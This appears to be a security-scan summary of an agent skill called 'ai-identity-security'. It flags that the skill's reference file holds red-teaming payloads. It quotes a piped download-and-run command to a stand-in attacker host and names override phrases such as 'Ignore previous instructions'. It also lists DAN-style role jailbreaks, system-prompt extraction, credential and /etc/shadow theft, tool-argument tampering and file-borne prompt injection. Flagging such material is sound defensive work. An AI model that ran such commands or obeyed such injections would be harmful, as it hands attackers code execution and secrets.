The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The file references/identity-attack-techniques.md contains a specific payload example using a piped shell execution pattern: curl https://attacker.com/setup.sh | bash.
[PROMPT_INJECTION]: The skill documentation provides functional payloads for bypassing agent constraints and overriding system behavior, including:
Explicit 'Ignore previous instructions' and 'Forget role' commands in Section 1.3 of the references file.
Role-play injections such as 'ADMIN-GPT' and 'UnrestrictedGPT' (DAN-style) meant to bypass application-level role restrictions.
Instructions designed to extract the agent's system prompt or internal configuration.
[DATA_EXFILTRATION]: The skill describes methods to induce an agent to reveal sensitive session tokens, API keys, and environment variables. It also includes examples targeting system files such as /etc/shadow.
[COMMAND_EXECUTION]: The methodology includes 'Action Parameter Tampering' techniques where the user is instructed to manipulate tool call arguments (e.g., changing query to admin_query) to achieve unauthorized command execution.
[DATA_EXFILTRATION]: Section 2.2 of the references file describes 'Toolchain Hijacking,' an indirect prompt injection surface where the agent is instructed to read external files (e.g., /tmp/task.txt) that may contain malicious instructions.

ai-identity-security